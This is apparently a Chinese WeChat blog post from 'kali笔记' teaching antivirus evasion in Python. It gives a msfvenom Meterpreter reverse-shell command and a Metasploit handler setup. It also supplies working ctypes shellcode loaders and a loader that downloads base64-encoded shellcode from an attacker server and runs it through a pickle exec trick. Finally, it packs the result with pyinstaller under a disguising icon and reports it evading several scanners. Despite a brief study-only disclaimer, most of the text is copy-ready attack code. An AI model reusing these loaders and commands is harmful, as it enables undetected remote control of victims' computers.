免杀一直是红队和蓝队热议的话题。各种姿势的免杀绕过令人瞠目结舌。python作为当今很热门的编程语言之一,它是如何进行免杀操作的呢?
本文仅供学习和研究,坚决反对一切危害网络安全的行为。
公众号名称由原来的kali黑客笔记改名为kali笔记。还望各位老铁们谅解!
基于内存
我们首先在msf中生成python的shellcode
msfvenom-pwindows/x64/meterpreter_reverse_tcpLHOST=192.168.5.81LPORT=5555-fpython-o33.txt
替换关键词。
替换完成后,将下面代码放到下面shellcode中去。
importctypes#(kali生成payload存放位置)shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))#创建一个线程从shellcode防止位置首地址开始执行handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
接下来,我们来测试是否能正常上线。
useexploit/multi/handlersetpayloadwindows/x64/meterpreter_reverse_tcpsetLHOST192.168.5.81setLPORT5555exploit-j
将保存的python代码复制到目标主机,执行python文件 如下,成功得到会话。
打包exe
并不是所有的目标主机都有python环境,因此我们需要将其打包成exe文件。执行命令如下
pyinstaller-Fw-itomcat.ico--key=dabiaogebiao.py
-F
打包为单文件-w
不显示窗口 -i
ico图标文件 --key
加密字节码的密钥 等待打包完成。打包好后的可执行程序在dist
目录中
运行程序后,成功上线。
免杀测试
360云查杀
电脑管家
在线查杀1/46
混淆shellcode
先用cs或者msf生成python shellcode 然后把shellcode进行BS64加密放在shellcode.txt
里面并存放到服务器。
利用base64加密
接着,我们将上面加密后的代码保存为txt
文件。放在/var/www/html
目录下。然后启动apache服务。
serviceapache2start
注意給放入的txt文件要添加权限,不然访问会403
。即chmod -R 777 html
接着修改加载器的服务器地址后进行一次BaSe64加密,然后把代码放在txt
里面并存放到服务器
importctypes,urllib.request,codecs,base64shellcode=urllib.request.urlopen('http://192.168.5.81/33.txt').read()shellcode=shellcode.strip()shellcode=base64.b64decode(shellcode)shellcode=codecs.escape_decode(shellcode)[0]shellcode=bytearray(shellcode)ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
修改主程序 修改服务器地址后使用pyinstaller
打包成exe可执行文件
#-*-coding:utf-8-*-#coding:unicode_escapeimportpickleimportctypes,urllib.request,codecs,base64sectr=urllib.request.urlopen('http://192.168.5.81/44.txt').read()#sectr=str(sectr,'UTF-8')#print(sectr)sectr=base64.b64decode(sectr).decode("utf-8")classA(object):def__reduce__(self):return(exec,(sectr,))ret=pickle.dumps(A())ret_base64=base64.b64encode(ret)ret_decode=base64.b64decode(ret_base64)pickle.loads(ret_decode)
为了保险起见,我们可以将其进行代码混淆
接着打包为exe文件
pyinstaller-Fw-itomcat.icorr.py
完美逃逸腾讯 360云查杀
Cs 完美上线
总结
无论是哪种方法,归根到底都是利用了base64
加密 XOR
AES
加密、代码混淆等方式。因此在实际工作中切勿运行来历不明的工具和软件。
更多精彩文章 欢迎关注我们
原文始发于微信公众号(kali笔记):Python免杀的爱恨情仇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论